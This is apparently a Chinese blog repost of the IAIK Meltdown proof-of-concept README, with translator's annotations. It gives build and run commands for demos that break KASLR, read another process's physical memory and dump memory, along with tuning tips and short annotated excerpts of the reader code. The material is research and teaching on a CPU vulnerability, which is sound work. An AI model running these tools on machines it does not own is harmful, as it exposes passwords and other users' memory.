• 转:Meltdown Proof-of-Concept


    转:https://github.com/IAIK/meltdown

    Meltdown Proof-of-Concept

    What is the difference between Meltdown and Spectre?

    Meltdown breaks the mechanism that keeps applications from accessing arbitrary system memory. Consequently, applications can access system memory. Spectre tricks other applications into accessing arbitrary locations in their memory. Both attacks use side channels to obtain the information from the accessed memory location. For a more technical discussion we refer to the papers ( Meltdown and  Spectre).

    meltdown可以访问系统内存;Spectre跨进程访问。

    This repository contains several applications, demonstrating the Meltdown bug. For technical information about the bug, refer to the paper:

    • Meltdown by Lipp, Schwarz, Gruss, Prescher, Haas, Mangard, Kocher, Genkin, Yarom, and Hamburg

    The applications in this repository are built with libkdump,(meltdown核心实现代码:物理地址与虚拟地址相互转换;读取虚拟地址数据) a library we developed for the paper. This library simplifies exploitation of the bug by automatically adapting to certain properties of the environment.

    Videos

    This repository contains several videos demonstrating Meltdown

    • Video #1 shows how Meltdown can be used to spy in realtime on a password input.跨进程读取,泄露密码
    • Video #2 shows how Meltdown leaks physical memory content.读取物理内存
    • Video #3 shows how Meltdown reconstructs a photo from memory.照片恢复
    • Video #4 shows how Meltdown reconstructs a photo from memory which is encoded with the FLIF file format.
    • Video #5 shows how Meltdown leaks uncached memory.未缓存,其它进程的?

    Demos

    This repository contains five demos to demonstrate different use cases. All demos are tested on Ubuntu 16.04 with an Intel Core i7-6700K, but they should work on any Linux system with any modern Intel CPU since 2010.

    For best results, we recommend a fast CPU that supports Intel TSX (e.g. any Intel Core i7-5xxx, i7-6xxx, or i7-7xxx). Furthermore, every demo should be pinned to one CPU core, e.g. with taskset.

    Build dependency for demos

    As a pre-requisite, you need to install glibc-static on your machine.

    For RPM-based systems(ubuntu系统省略这一步,centos/fedora需要做):

    sudo yum install -y glibc-static
    

    Demo #1: A first test (test)

    This is the most basic demo. It uses Meltdown to read accessible addresses from the own address space, not breaking any isolation mechanisms.

    If this demo does not work for you, the remaining demos most likely won't work either. The reasons are manifold, e.g., the CPU could be too slow, not support out-of-order execution, the high-resolution timer is not precise enough (especially in VMs), the operating system does not support custom signal handlers, etc.

    Build and Run

    make
    taskset 0x1 ./test

    If you see an output similar to this

    Expect: Welcome to the wonderful world of microarchitectural attacks
       Got: Welcome to the wonderful world of microarchitectural attacks
    

    then the basic demo works.

    Demo #2: Breaking KASLR (kaslr)

    Starting with Linux kernel 4.12, KASLR (Kernel Address Space Layout Randomizaton) is active by default. This means, that the location of the kernel (and also the direct physical map which maps the entire physical memory) changes with each reboot.

    This demo uses Meltdown to leak the (secret) randomization of the direct physical map. This demo requires root privileges to speed up the process. The paper describes a variant which does not require root privileges.

    Build and Run

    make
    sudo taskset 0x1 ./kaslr

    After a few seconds, you should see something similar to this

    [+] Direct physical map offset: 0xffff880000000000(虚拟机几乎一样)
    

    Demo #3: Reliability test (reliability)

    This demo tests how reliable physical memory can be read. For this demo, you either need the direct physical map offset (e.g. from demo #2) or you have to disable KASLR by specifying nokaslr in your kernel command line.

    Build and Run

    Build and start reliability. If you have KASLR enabled, the first parameter is the offset of the direct physical map. Otherwise, the program does not require a parameter.

    make
    sudo taskset 0x1 ./reliability 0xffff880000000000

    After a few seconds, you should get an output similar to this:

    [-] Success rate: 99.93% (read 1354 values)
    

    Demo #4: Read physical memory (physical_reader)

    This demo reads memory from a different process by directly reading physical memory. For this demo, you either need the direct physical map offset (e.g. from demo #2) or you have to disable KASLR by specifying nokaslr in your kernel command line.

    In principal, this program can read arbitrary physical addresses. However, as the physical memory contains a lot of non-human-readable data, we provide a test tool (secret), which puts a human-readable string into memory and directly provides the physical address of this string.

    Build and Run

    For the demo, first run secret (as root) to get the physical address of a human-readable string:

    make
    sudo ./secret

    It should output something like this:(演示跨进程读取字符串,secret运行一个进程,在某个地址存储字符串,并显示该物理地址;后面的physical_reader作为另外一个进程尝试读取secret)

    [+] Secret: If you can read this, this is really bad
    [+] Physical address of secret: 0x390fff400
    [+] Exit with Ctrl+C if you are done reading the secret
    

    Let the secret program running, and start physical_reader. The first parameter is the physical address printed by secret. If you do not have KASLR disabled, the second parameter is the offset of the direct physical map.

    taskset 0x1 ./physical_reader 0x390fff400 0xffff880000000000

    After a few seconds, you should get an output similar to this:

    [+] Physical address       : 0x390fff400
    [+] Physical offset        : 0xffff880000000000
    [+] Reading virtual address: 0xffff880390fff400
    
    If you can read this, this is really bad
    

    Demo #5: Dump the memory (memdump)

    This demo dumps the content of the memory. As demo #3 and #4, it uses the direct physical map, to dump the contents of the physical memory in a hexdump-like format.

    Again, as the physical memory contains a lot of non-human-readable content, we provide a test tool to fill large amounts of the physical memory with human-readable strings.

    Build and Run

    For the demo, first run memory_filler to fill the memory with human-readable strings. The first argument is the amount of memory (in gigabytes) to fill.

    make
    ./memory_filler 9

    Then, run the memdump tool to dump memory contents. If you executed memory_filler before, you should see some string fragments. If you have Firefox or Chrome with multiple tabs running, you might also see parts of the websites which are open or were recently closed.

    The first parameter is the physical address at which the dump should begin (leave empty to start at the first gigabyte). The second parameter is the amount of bytes you want to be read, to read it all give -1. If you do not have KASLR disabled, the third parameter is the offset of the direct physical map.

    taskset 0x1 ./memdump 0x240000000 -1 0xffff880000000000 # start at 9 GB

    You should get a hexdump of parts of the memory (potentially even containing secrets such as passwords, see example in the paper), e.g.:

     240001c9f: | 00 6d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .m.............. |
     24000262f: | 00 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .}.............. |
     24000271f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 6e 20 75 | ............en u |
     24000272f: | 73 65 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 | ser space and ke |
     24000273f: | 72 6e 65 6c 57 65 6c 63 6f 6d 65 20 74 6f 20 74 | rnelWelcome to t |
     24000298f: | 00 61 72 79 20 62 65 74 77 65 65 6e 20 75 73 65 | .ary between use |
     24000299f: | 72 20 73 70 61 63 65 20 61 6e 64 20 6b 65 72 6e | r space and kern |
     2400029af: | 65 6c 42 75 72 6e 20 61 66 74 65 72 20 72 65 61 | elBurn after rea |
     2400029bf: | 64 69 6e 67 20 74 68 69 73 20 73 74 72 69 6e 67 | ding this string |
     240002dcf: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 | ................ |
     2400038af: | 6a 75 73 74 20 73 70 69 65 64 20 6f 6e 20 61 00 | just spied on a. |
     240003c8f: | 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 | ................ |
     24000412f: | 00 00 00 00 00 00 00 00 00 00 00 00 65 74 73 2e | ............ets. |
     24000413f: | 2e 2e 57 65 6c 63 6f 6d 65 20 74 6f 20 74 68 65 | ..Welcome to the |
     2400042ff: | 00 00 00 00 00 00 00 00 00 6e 67 72 61 74 75 6c | .........ngratul |
     24000430f: | 61 74 69 6f 6e 73 2c 20 79 6f 75 20 6a 75 73 74 | ations, you just |
     24000431f: | 20 73 70 69 65 64 20 6f 6e 20 61 6e 20 61 70 70 |  spied on an app |
    

    Frequently Asked Questions

    • Does it work on Windows / Ubuntu on Windows (WSL) / Mac OS?

      No. This PoC only works on Linux, as it uses properties specific to the Linux kernel, such as the direct physical map.

    • Can I run the PoC in a virtual machine?(虚拟层是否有影响?

      Yes, the PoC also works on virtual machines. However, due to the additional layer introduced by a virtual machine, it might not work as good as on native hardware.

    • The KASLR program (kaslr) does not find the offset!

      The kaslr tool only does very few measurements to be fast. If it does not find the offset, there are two possibilities:

      • change the number of retries in kaslr.cconfig.retries = 1000;
      • use the kernel module in kaslr_offset to directly read the offset from the kernel. Install the kernel headers for your kernel (sudo apt-get install linux-headers-`uname -r`) and run sudo ./direct_physical_map.sh
    • You said it works on uncached memory, but all your demos ensure that the memory is cached!

      Making it work on uncached memory is trickier, and often requires a bit of tweaking of the parameters. Thus, we ensure that the memory is cached in the PoC to make it easier to reproduce. However, you can simply remove the code that caches the values and replace it by a clflush to test the exploit on uncached memory (see Video #5 for an example). Although not in the original blog post by Google, this was also confirmed by independent researchers (e.g. Alex IonescuRaphael CarvalhoPavel Boldin).

    • It just does not work on my computer, what can I do?

      There can be a lot of different reasons for that. We collected a few things you can try:

      • Ensure that your CPU frequency is at the maximum, and frequency scaling is disabled.
      • If you run it on a mobile device (e.g., a laptop), ensure that it is plugged in to get the best performance.
      • Try to pin the tools to a specific CPU core (e.g. with taskset). Also try different cores and core combinations.
      • Vary the load on your computer. On some machines it works better if the load is higher, on others it works better if the load is lower.
      • Try to disable hyperthreading in the BIOS. On some computers it works a lot better if hyperthreading is disabled.
      • Use a different variant of Meltdown. This can be changed in libkdump/libkdump.c in the line #define MELTDOWN meltdown_nonull. Try for example meltdown instead of meltdown_nonull, which works a lot better on some machines (but not at all on others).
      • Try to create many interrupts, e.g. by running the tool stress with stress -i 2 (or other values for the iparameter, depending on the number of cores).
      • Try to restart the demos and also your computer. Especially after a standby, the timing are broken on some computers.
      • Play around with the parameters of libkdump, e.g. increase the number of retries and/or measurements.

    Warnings

    Warning #1: We are providing this code as-is. You are responsible for protecting yourself, your property and data, and others from any risks caused by this code. This code may cause unexpected and undesirable behavior to occur on your machine. This code may not detect the vulnerability on your machine.

    Warning #2: If you find that a computer is susceptible to the Meltdown bug, you may want to avoid using it as a multi-user system. Meltdown breaches the CPU's memory protection. On a machine that is susceptible to the Meltdown bug, one process can read all pages used by other processes or by the kernel.

    Warning #3: This code is only for testing purposes. Do not run it on any productive systems. Do not run it on any system that might be used by another person or entity.

    • 主要代码分析:整个过程就是,secret在A地址存储字符串,然后将虚拟地址A转换为物理地址B。physical_reader将B转换为其虚拟地址C,然后从C开始循环读取。
    1. secret关键代码:
     1 const char *secret = strings[rand() % (sizeof(strings) / sizeof(strings[0]))];//随机选择一个字符串
     2   int len = strlen(secret);
     3 ...
     4   size_t paddr = libkdump_virt_to_phys((size_t)secret);//虚拟地址到物理地址映射
     5 ...
     6   while (1) {
     7     // keep string cached for better results
     8     volatile size_t dummy = 0, i;
     9     for (i = 0; i < len; i++) {
    10       dummy += secret[i];
    11     }
    12     sched_yield();
    13   }

    2.physical_reader.c

     1  size_t vaddr = libkdump_phys_to_virt(phys);//物理地址到虚拟地址影射
     2 
     3   printf("x1b[32;1m[+]x1b[0m Physical address       : x1b[33;1m0x%zxx1b[0m
    ", phys);
     4   printf("x1b[32;1m[+]x1b[0m Physical offset        : x1b[33;1m0x%zxx1b[0m
    ", config.physical_offset);
     5   printf("x1b[32;1m[+]x1b[0m Reading virtual address: x1b[33;1m0x%zxx1b[0m
    
    ", vaddr);
     6 
     7   while (1) {
     8     int value = libkdump_read(vaddr);//从虚拟地址读取该值,注意libkdump_read即meltdown核心实现代码
     9     printf("%c", value);
    10     fflush(stdout);//使stdout清空,就会立刻输出所有在缓冲区的内容
    11     vaddr++;//循环读取
    12   }
  • 相关阅读:
    快递物流查询接口介绍
    DWR
    html网页自动跳转页面代码
    提升Apache网站访问速度的优化方法
    synchronized实现原理
    window下的hosts
    [转]BX9054: 各浏览器对 document.execCommand 方法的首参数可选值范围存在差异
    浏览器关闭或刷新事件--window.onbeforeunload
    浏览器,tab页显示隐藏的事件监听--页面可见性
    http 304
  • 原文地址:https://www.cnblogs.com/studyskill/p/8310205.html
Copyright © 2020-2023  润新知